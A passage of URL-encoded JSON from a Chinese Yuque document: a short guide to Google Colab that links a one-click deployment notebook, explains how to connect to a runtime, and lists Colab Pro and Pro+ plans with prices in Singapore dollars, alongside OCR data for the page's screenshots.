2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A21%2C%22y%22%3A22%2C%22width%22%3A148%2C%22height%22%3A24%2C%22text%22%3A%22%E4%BB%80%E4%B9%88%E6%98%AFCOLAB%3F%22%7D%2C%7B%22x%22%3A21%2C%22y%22%3A68%2C%22width%22%3A591%2C%22height%22%3A17%2C%22text%22%3A%22%E5%80%9F%E5%8A%A9%20COLABORATORY%20(%E7%AE%80%E7%A7%B0COLAB)%2C%E6%82%A8%E5%8F%AF%E5%9C%A8%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E7%BC%96%E5%86%99%E5%92%8C%E6%89%A7%E8%A1%8C%20PYTHON%E4%BB%A3%E7%A0%81%2C%E5%B9%B6%E4%B8%94%3A%22%7D%2C%7B%22x%22%3A61%2C%22y%22%3A103%2C%22width%22%3A98%2C%22height%22%3A16%2C%22text%22%3A%22%E6%97%A0%E9%9C%80%E4%BB%BB%E4%BD%95%E9%85%8D%E7%BD%AE%22%7D%2C%7B%22x%22%3A63%2C%22y%22%3A128%2C%22width%22%3A99%2C%22height%22%3A16%2C%22text%22%3A%22%E5%85%8D%E8%B4%B9%E4%BD%BF%E7%94%A8GPU%22%7D%2C%7B%22x%22%3A63%2C%22y%22%3A154%2C%22width%22%3A63%2C%22height%22%3A16%2C%22text%22%3A%22%E8%BD%BB%E6%9D%BE%E5%85%B1%E4%BA%AB%22%7D%2C%7B%22x%22%3A21%2C%22y%22%3A187%2C%22width%22%3A1016%2C%22height%22%3A19%2C%22text%22%3A%22%E6%97%A0%E8%AE%BA%E5%BF%BD%E6%98%AF%E4%B8%80%E5%90%8D%E5%AD%A6%E7%94%9F%2C%E6%95%99%E7%BB%83%E7%A7%91%E5%AD%A6%E5%AE%B6%E8%BF%98%E6%98%AFAND.COBD%E4%B8%8B%E9%9D%A2%E7%9A%84%E5%85%A5%E9%97%A8%E7%9C%81%E6%9B%B4%E8%BD%BB%E6%9D%BE%E6%96%BD%E5%AE%8C%E6%88%90%E5%B7%A5%E4%BD%9C%2C%E7%BB%8F%E5%8F%AF%E4%BB%A5%E5%8F%8C%E9%AA%91SAM%22%7D%2C%7B%22x%22%3A21%2C%22y%22%3A213%2C%22width%22%3A24%2C%22height%22%3A17%2C%22text%22%3A%22%E5%8D%97!%22%7D%5D%2C%22search%22%3A%22%E4%BB%80%E4%B9%88%E6%98%AFCOLAB%3F%20%E5%80%9F%E5%8A%A9%20COLABORATORY%20(%E7%AE%80%E7%A7%B0COLAB)%2C%E6%82%A8%E5%8F%AF%E5%9C%A8%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E7%BC%96%E5%86%99%E5%92%8C%E6%89%A7%E8%A1%8C%20PYTHON%E4%BB%A3%E7%A0%81%2C%E5%B9%B6%E4%B8%94%3A%20%E6%97%A0%E9%9C%80%E4%BB%BB%E4%BD%95%E9%85%8D%E7%BD%AE%20%E5%85%8D%E8%B4%B9%E4%BD%BF%E7%94%A8GPU%20%E8%BD%BB%E6%9D%BE%E5%85%B1%E4%BA%AB%20%E6%97%A0%E8%AE%BA%E5%BF%BD%E6%98%AF%E4%B8%80%E5%90%8D%E5%AD%A6%E7%94%9F%2C%E6%95%99%E7%BB%83%E7%A7%91%E5%AD%A6%E5%AE%B6%E8%BF%98%E6%98%AFAND.COBD%E4%B8%8B%E9%9D%A2%E7%9A%84%E5%85%A5%E9%97%A8%E7%9C%81%E6%9B%B4%E8%BD%BB%E6%9D%BE%E6%96%BD%E5%AE%8C%E6%88%90%E5%B7%A5%E4%BD%9C%2C%E7%BB%8F%E5%8F%AF%E4%BB%A5%E5%8F%8C%E9%AA%91SAM%20%E5%8D%97!%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23fbfaf9%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u0e2e8c0e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7a9fc7ea%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%8E%B0%E5%9C%A8%E6%9C%89%E5%BE%88%E5%A4%9A%E7%8E%B0%E6%88%90%E7%9A%84%E8%84%9A%E6%9C%AC%E5%8F%AF%E4%BB%A5%E5%85%81%E8%AE%B8%E4%BD%A0%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u12239fef%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E4%B8%80%E9%94%AE%E9%83%A8%E7%BD%B2%E8%84%9A%E6%9C%AC%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1b4f7056%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E5%B0%B1%E6%AF%94%E5%A6%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u275b2c37%22%2C%22name%22%3A%22uli%22%2C%22attrs%22%3A%7B%22indexStyle%22%3A%7B%7D%2C%22list%22%3A%22u9af7e7c0%22%2C%22fid%22%3A%22u0e3b3592%22%2C%22indexType%22%3A0%2C%22parentIndex%22%3A%5B%5D%2C%22index%22%3A0%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uefd535e7%22%2C%22name%22%3A%22link%22%2C%22attrs%22%3A%7B%22external%22%3Atrue%2C%22src%22%3A%22https%3A%2F%2Fcolab.research.google.com%2Fdrive%2F1lekLF7iib6M1R-NCylS0VMTF4wve-XuV%22%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u61af8956%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22https%3A%2F%2Fcolab.research.google.com%2Fdrive%2F1lekLF7iib6M1R-NCylS0VMTF4wve-XuV%22%7D%5D%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u2a3f0b3d%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u919580d3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(35%2C%2057%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E7%82%B9%E5%87%BB%E6%89%93%E5%BC%80%E4%B9%8B%E5%90%8E%EF%BC%8C%E5%85%88%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud3c4714d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(35%2C%2057%2C%2077)%22%2C%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E7%82%B9%E5%87%BB%E5%8F%B3%E4%B8%8A%E8%A7%92%E7%9A%84%E8%BF%9E%E6%8E%A5%EF%BC%8C%E4%BC%9A%E9%9A%8F%E6%9C%BA%E5%88%86%E9%85%8D%E4%B8%80%E4%B8%AA%E6%9C%BA%E5%99%A8%E7%BB%99%E4%BD%A0%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc2e9942f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(35%2C%2057%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u731b6047%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22udb5dfa5e%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685614529669-e650b683-e10c-4c63-8e5f-f33825a1085a.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A518%2C%22height%22%3A201%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A7863%2C%22width%22%3A470.9090807024115%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u2c5a8bb2-340f-4575-a1da-11855618099%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A392%2C%22y%22%3A20%2C%22width%22%3A28%2C%22height%22%3A14%2C%22text%22%3A%22%E5%88%86%E4%BA%AB%22%7D%2C%7B%22x%22%3A414%2C%22y%22%3A69%2C%22width%22%3A30%2C%22height%22%3A14%2C%22text%22%3A%22%E8%BF%9E%E6%8E%A5%22%7D%5D%2C%22search%22%3A%22%E5%88%86%E4%BA%AB%20%E8%BF%9E%E6%8E%A5%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23fcfcfb%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uccb2773c%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u96fe578a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%9E%E6%8E%A5%E6%88%90%E5%8A%9F%E5%B0%B1%E4%BC%9A%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud2c410f1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%8F%98%E6%88%90%E7%BB%BF%E8%89%B2%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc5f03738%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u62707b22%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685614575427-807f250c-1135-4469-924c-0f7d4cdad8ba.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A660%2C%22height%22%3A451%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A30857%2C%22width%22%3A501%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u9edc56c7-4d87-423f-9b4c-e54a123e755%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A511%2C%22y%22%3A8%2C%22width%22%3A27%2C%22height%22%3A12%2C%22text%22%3A%22RAM%22%7D%2C%7B%22x%22%3A512%2C%22y%22%3A25%2C%22width%22%3A26%2C%22height%22%3A13%2C%22text%22%3A%22%E7%A3%81%E7%9B%98%22%7D%2C%7B%22x%22%3A52%2C%22y%22%3A51%2C%22width%22%3A30%2C%22height%22%3A14%2C%22text%22%3A%22%E8%B5%84%E6%BA%90%22%7D%2C%7B%22x%22%3A50%2C%22y%22%3A87%2C%22width%22%3A136%2C%22height%22%3A16%2C%22text%22%3A%22%E6%82%A8%E6%9C%AA%E8%AE%A2%E9%98%85.%E4%BA%86%E8%A7%A3%E8%AF%A6%E6%83%85.%22%7D%2C%7B%22x%22%3A51%2C%22y%22%3A108%2C%22width%22%3A578%2C%22height%22%3A17%2C%22text%22%3A%22%E6%82%A8%E7%9B%AE%E5%89%8D%E6%B2%A1%E6%9C%89%E5%8F%AF%E7%94%A8%E7%9A%84%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83.%E5%85%8D%E8%B4%B9%E6%8F%90%E4%BE%9B%E7%9A%84%E8%B5%84%E6%BA%90%E5%B9%B6%E6%B2%A1%E6%9C%89%E4%BF%9D%E8%AF%81.%E5%A6%82%E9%9C%80%E8%B4%AD%E4%B9%B0%E6%9B%B4%E5%A4%9A%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%2C%E8%AF%B7%E7%82%B9%E5%87%BB%E6%AD%A4%22%7D%2C%7B%22x%22%3A52%2C%22y%22%3A127%2C%22width%22%3A17%2C%22height%22%3A13%2C%22text%22%3A%22%E5%A4%84.%22%7D%2C%7B%22x%22%3A52%2C%22y%22%3A147%2C%22width%22%3A56%2C%22height%22%3A15%2C%22text%22%3A%22%E7%AE%A1%E7%90%86%E4%BC%9A%E8%AF%9D%22%7D%2C%7B%22x%22%3A352%2C%22y%22%3A194%2C%22width%22%3A15%2C%22height%22%3A15%2C%22text%22%3A%22X%22%7D%2C%7B%22x%22%3A51%2C%22y%22%3A200%2C%22width%22%3A290%2C%22height%22%3A17%2C%22text%22%3A%22%E9%9C%80%E8%A6%81%E6%9B%B4%E5%A4%9A%E5%86%85%E5%AD%98%E5%92%8C%E7%A3%81%E7%9B%98%E7%A9%BA%E9%97%B4%3F%E5%8D%87%E7%BA%A7%E5%88%B0COLABPRO%22%7D%2C%7B%22x%22%3A52%2C%22y%22%3A248%2C%22width%22%3A282%2C%22height%22%3A16%2C%22text%22%3A%22PYTHON%203%20GOOGLE%20COMPUTE%20ENGINE%20%E5%90%8E%E7%AB%AF(GPU)%22%7D%2C%7B%22x%22%3A52%2C%22y%22%3A269%2C%22width%22%3A184%2C%22height%22%3A16%2C%22text%22%3A%22%E6%98%BE%E7%A4%BA18%3A15%E5%88%B018%3A16%E4%B9%8B%E9%97%B4%E7%9A%84%E8%B5%84%E6%BA%90%22%7D%2C%7B%22x%22%3A60%2C%22y%22%3A314%2C%22width%22%3A64%2C%22height%22%3A15%2C%22text%22%3A%22%E7%B3%BB%E7%BB%9FRAM%22%7D%2C%7B%22x%22%3A334%2C%22y%22%3A315%2C%22width%22%3A31%2C%22height%22%3A13%2C%22text%22%3A%22%E7%A3%81%E7%9B%98%22%7D%2C%7B%22x%22%3A61%2C%22y%22%3A332%2C%22width%22%3A82%2C%22height%22%3A13%2C%22text%22%3A%220.8%2F12.7GB%22%7D%2C%7B%22x%22%3A335%2C%22y%22%3A332%2C%22width%22%3A89%2C%22height%22%3A13%2C%22text%22%3A%2223.3%2F78.2GB%22%7D%2C%7B%22x%22%3A198%2C%22y%22%3A333%2C%22width%22%3A61%2C%22height%22%3A11%2C%22text%22%3A%22GPURAM%22%7D%5D%2C%22search%22%3A%22RAM%20%E7%A3%81%E7%9B%98%20%E8%B5%84%E6%BA%90%20%E6%82%A8%E6%9C%AA%E8%AE%A2%E9%98%85.%E4%BA%86%E8%A7%A3%E8%AF%A6%E6%83%85.%20%E6%82%A8%E7%9B%AE%E5%89%8D%E6%B2%A1%E6%9C%89%E5%8F%AF%E7%94%A8%E7%9A%84%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83.%E5%85%8D%E8%B4%B9%E6%8F%90%E4%BE%9B%E7%9A%84%E8%B5%84%E6%BA%90%E5%B9%B6%E6%B2%A1%E6%9C%89%E4%BF%9D%E8%AF%81.%E5%A6%82%E9%9C%80%E8%B4%AD%E4%B9%B0%E6%9B%B4%E5%A4%9A%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%2C%E8%AF%B7%E7%82%B9%E5%87%BB%E6%AD%A4%20%E5%A4%84.%20%E7%AE%A1%E7%90%86%E4%BC%9A%E8%AF%9D%20X%20%E9%9C%80%E8%A6%81%E6%9B%B4%E5%A4%9A%E5%86%85%E5%AD%98%E5%92%8C%E7%A3%81%E7%9B%98%E7%A9%BA%E9%97%B4%3F%E5%8D%87%E7%BA%A7%E5%88%B0COLABPRO%20PYTHON%203%20GOOGLE%20COMPUTE%20ENGINE%20%E5%90%8E%E7%AB%AF(GPU)%20%E6%98%BE%E7%A4%BA18%3A15%E5%88%B018%3A16%E4%B9%8B%E9%97%B4%E7%9A%84%E8%B5%84%E6%BA%90%20%E7%B3%BB%E7%BB%9FRAM%20%E7%A3%81%E7%9B%98%200.8%2F12.7GB%2023.3%2F78.2GB%20GPURAM%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23fafaf9%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u0f2b69d0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u224c8898%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%85%8D%E8%B4%B9%E7%9A%84%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%E5%BC%8F%E6%9C%89%E9%99%90%E7%9A%84%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u529315e8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E8%80%83%E8%99%91%E5%8D%87%E7%BA%A7Colab%20Pro%E6%88%96%E8%80%85Pro%2B%E6%9D%A5%E8%8E%B7%E5%BE%97%E7%A8%B3%E5%AE%9A%E7%9A%84%E8%AE%A1%E7%AE%97%E8%B5%84%E6%BA%90%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6a63c420%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22Colab%20Pro%E7%9A%84%E4%BB%B7%E6%A0%BC%E6%98%AF%E5%A4%A7%E6%A6%82%E6%AF%8F%E6%9C%8875.%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u2ca5df9b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22uc6c2367c%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685614666929-fbd42f93-ee58-4a5b-aa27-a5912066d467.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1115%2C%22height%22%3A757%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A93757%2C%22width%22%3A1013.6363416663876%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u8a9be474-b98c-4764-b567-ec823bbdfec%22%2C%22clientId%22%3A%22u20e6ee8e-ea5a-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A338%2C%22y%22%3A3%2C%22width%22%3A392%2C%22height%22%3A37%2C%22text%22%3A%22%E9%80%89%E6%8B%A9%E6%9C%80%E9%80%82%E5%90%88%E6%82%A8%E7%9A%84COLAB%E6%96%B9%E6%A1%88%22%7D%2C%7B%22x%22%3A253%2C%22y%22%3A63%2C%22width%22%3A560%2C%22height%22%3A18%2C%22text%22%3A%22%E6%97%A0%E8%AE%BA%E6%82%A8%E6%98%AF%E5%AD%A6%E7%94%9F%2C%E5%85%B4%E8%B6%A3%E7%88%B1%E5%A5%BD%E8%80%85%2C%E8%BF%98%E6%98%AF%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E7%A0%94%E7%A9%B6%E4%BA%BA%E5%91%98%2CCOLAB%E9%83%BD%E6%9C%89%E9%80%82%E5%90%88%E6%82%A8%E7%9A%84%E6%96%B9%E6%A1%88%22%7D%2C%7B%22x%22%3A262%2C%22y%22%3A102%2C%22width%22%3A533%2C%22height%22%3A18%2C%22text%22%3A%22COLAB%E5%A7%8B%E7%BB%88%E5%8F%AF%E4%BB%A5%E5%85%8D%E8%B4%B9%E4%BD%BF%E7%94%A8%2C%E4%BD%86%E9%9A%8F%E7%9D%80%E8%AE%A1%E7%AE%97%E9%9C%80%E6%B1%82%E7%9A%84%E5%A2%9E%E5%8A%A0%2C%E6%82%A8%E4%B9%9F%E5%8F%AF%E4%BB%A5%E9%80%89%E6%8B%A9%E4%BB%98%E8%B4%B9%E6%9C%8D%E5%8A%A1.%22%7D%2C%7B%22x%22%3A434%2C%22y%22%3A140%2C%22width%22%3A196%2C%22height%22%3A18%2C%22text%22%3A%22%E8%AE%BE%E6%9C%89%E9%99%90%E5%88%B6%2C%E8%AF%B7%E5%9C%A8%E6%AD%A4%E4%BA%86%E8%A7%A3%E8%AF%A6%E6%83%85%22%7D%2C%7B%22x%22%3A517%2C%22y%22%3A222%2C%22width%22%3A31%2C%22height%22%3A14%2C%22text%22%3A%22%E6%8E%A8%E8%8D%90%22%7D%2C%7B%22x%22%3A103%2C%22y%22%3A256%2C%22width%22%3A135%2C%22height%22%3A23%2C%22text%22%3A%22PAY%20AS%20YOU%20GO%22%7D%2C%7B%22x%22%3A840%2C%22y%22%3A257%2C%22width%22%3A104%2C%22height%22%3A19%2C%22text%22%3A%22COLAB%20PRO%2B%22%7D%2C%7B%22x%22%3A487%2C%22y%22%3A259%2C%22width%22%3A92%2C%22height%22%3A19%2C%22text%22%3A%22COLAB%20PRO%22%7D%2C%7B%22x%22%3A88%2C%22y%22%3A341%2C%22width%22%3A169%2C%22height%22%3A15%2C%22text%22%3A%22SGD14.20%2F100%E4%B8%AA%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%22%7D%2C%7B%22x%22%3A851%2C%22y%22%3A341%2C%22width%22%3A84%2C%22height%22%3A14%2C%22text%22%3A%22SGD70.74%2F%E6%9C%88%22%7D%2C%7B%22x%22%3A490%2C%22y%22%3A342%2C%22width%22%3A83%2C%22height%22%3A15%2C%22text%22%3A%22SGD14.20%2F%E6%9C%88%22%7D%2C%7B%22x%22%3A87%2C%22y%22%3A387%2C%22width%22%3A171%2C%22height%22%3A16%2C%22text%22%3A%22SGD70.74%2F500%E4%B8%AA%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%22%7D%2C%7B%22x%22%3A91%2C%22y%22%3A424%2C%22width%22%3A149%2C%22height%22%3A17%2C%22text%22%3A%22%E6%82%A8%E7%9B%AE%E5%89%8D%E6%9C%890%E4%B8%AA%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83.%22%7D%2C%7B%22x%22%3A426%2C%22y%22%3A434%2C%22width%22%3A132%2C%22height%22%3A16%2C%22text%22%3A%22%E6%AF%8F%E6%9C%88100%E4%B8%AA%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%22%7D%2C%7B%22x%22%3A787%2C%22y%22%3A434%2C%22width%22%3A133%2C%22height%22%3A16%2C%22text%22%3A%22%E6%AF%8F%E6%9C%88500%E4%B8%AA%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%22%7D%2C%7B%22x%22%3A39%2C%22y%22%3A453%2C%22width%22%3A264%2C%22height%22%3A17%2C%22text%22%3A%22%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%E5%B0%86%E5%9C%A890%E5%A4%A9%E5%90%8E%E8%BF%87%E6%9C%9F.%E8%AF%B7%E6%A0%B9%E6%8D%AE%E9%9C%80%E8%A6%81%E8%B4%AD%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A457%2C%22width%22%3A237%2C%22height%22%3A17%2C%22text%22%3A%22%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%E5%B0%86%E5%9C%A890%E5%A4%A9%E5%90%8E%E8%BF%87%E6%9C%9F.%E8%AF%B7%E6%A0%B9%E6%8D%AE%E9%9C%80%22%7D%2C%7B%22x%22%3A786%2C%22y%22%3A457%2C%22width%22%3A237%2C%22height%22%3A17%2C%22text%22%3A%22%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83%E5%B0%86%E5%9C%A890%E5%A4%A9%E5%90%8E%E8%BF%87%E6%9C%9F.%E8%AF%B7%E6%A0%B9%E6%8D%AE%E9%9C%80%22%7D%2C%7B%22x%22%3A113%2C%22y%22%3A474%2C%22width%22%3A105%2C%22height%22%3A15%2C%22text%22%3A%22%E4%B9%B0%E6%9B%B4%E5%A4%9A%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83.%22%7D%2C%7B%22x%22%3A786%2C%22y%22%3A477%2C%22width%22%3A134%2C%22height%22%3A16%2C%22text%22%3A%22%E8%A6%81%E8%B4%AD%E4%B9%B0%E6%9B%B4%E5%A4%9A%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83.%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A477%2C%22width%22%3A133%2C%22height%22%3A16%2C%22text%22%3A%22%E8%A6%81%E8%B4%AD%E4%B9%B0%E6%9B%B4%E5%A4%9A%E8%AE%A1%E7%AE%97%E5%8D%95%E5%85%83.%22%7D%2C%7B%22x%22%3A787%2C%22y%22%3A510%2C%22width%22%3A76%2C%22height%22%3A14%2C%22text%22%3A%22%E6%9B%B4%E5%BF%AB%E7%9A%84GPU%22%7D%2C%7B%22x%22%3A426%2C%22y%22%3A510%2C%22width%22%3A78%2C%22height%22%3A14%2C%22text%22%3A%22%E6%9B%B4%E5%BF%AB%E7%9A%84GPU%22%7D%2C%7B%22x%22%3A65%2C%22y%22%3A524%2C%22width%22%3A60%2C%22height%22%3A16%2C%22text%22%3A%22%E6%97%A0%E9%9C%80%E8%AE%A2%E9%98%85%22%7D%2C%7B%22x%22%3A788%2C%22y%22%3A533%2C%22width%22%3A220%2C%22height%22%3A15%2C%22text%22%3A%22%E5%8F%AF%E4%BB%A5%E4%BC%98%E5%85%88%E5%8D%87%E7%BA%A7%E5%88%B0%E6%9B%B4%E5%BC%BA%E5%A4%A7%E7%9A%84%E4%BB%98%E8%B4%B9GPU.%22%7D%2C%7B%22x%22%3A426%2C%22y%22%3A533%2C%22width%22%3A164%2C%22height%22%3A15%2C%22text%22%3A%22%E5%8D%87%E7%BA%A7%E5%88%B0%E6%9B%B4%E5%BC%BA%E5%A4%A7%E7%9A%84%E4%BB%98%E8%B4%B9GPU.%22%7D%2C%7B%22x%22%3A66%2C%22y%22%3A546%2C%22width%22%3A133%2C%22height%22%3A19%2C%22text%22%3A%22%E5%8F%AA%E9%9C%80%E4%B8%BA%E5%AE%9E%E9%99%85%E7%94%A8%E9%87%8F%E4%BB%98%E8%B4%B9.%22%7D%2C%7B%22x%22%3A427%2C%22y%22%3A566%2C%22width%22%3A58%2C%22height%22%3A14%2C%22text%22%3A%22%E6%9B%B4%E5%A4%9A%E5%86%85%E5%AD%98%22%7D%2C%7B%22x%22%3A787%2C%22y%22%3A566%2C%22width%22%3A58%2C%22height%22%3A15%2C%22text%22%3A%22%E6%9B%B4%E5%A4%9A%E5%86%85%E5%AD%98%22%7D%2C%7B%22x%22%3A65%2C%22y%22%3A580%2C%22width%22%3A75%2C%22height%22%3A15%2C%22text%22%3A%22%E6%9B%B4%E5%BF%AB%E7%9A%84GPU%22%7D%2C%7B%22x%22%3A427%2C%22y%22%3A589%2C%22width%22%3A159%2C%22height%22%3A15%2C%22text%22%3A%22%E4%BD%BF%E7%94%A8%E6%88%91%E4%BB%AC%E5%86%85%E5%AD%98%E6%9B%B4%E9%AB%98%E7%9A%84%E6%9C%BA%E5%99%A8.%22%7D%2C%7B%22x%22%3A788%2C%22y%22%3A589%2C%22width%22%3A160%2C%22height%22%3A15%2C%22text%22%3A%22%E4%BD%BF%E7%94%A8%E6%88%91%E4%BB%AC%E5%86%85%E5%AD%98%E6%9B%B4%E9%AB%98%E7%9A%84%E6%9C%BA%E5%99%A8.%22%7D%2C%7B%22x%22%3A65%2C%22y%22%3A603%2C%22width%22%3A165%2C%22height%22%3A16%2C%22text%22%3A%22%E5%8D%87%E7%BA%A7%E5%88%B0%E6%9B%B4%E5%BC%BA%E5%A4%A7%E7%9A%84%E4%BB%98%E8%B4%B9GPU.%22%7D%2C%7B%22x%22%3A788%2C%22y%22%3A622%2C%22width%22%3A55%2C%22height%22%3A14%2C%22text%22%3A%22%E5%90%8E%E5%8F%B0%E6%89%A7%E8%A1%8C%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A623%2C%22width%22%3A30%2C%22height%22%3A14%2C%22text%22%3A%22%E7%BB%88%E7%AB%AF%22%7D%2C%7B%22x%22%3A787%2C%22y%22%3A643%2C%22width%22%3A237%2C%22height%22%3A20%2C%22text%22%3A%22%E5%8D%87%E7%BA%A7%E7%AC%94%E8%AE%B0%E6%9C%AC%E5%90%8E%E5%8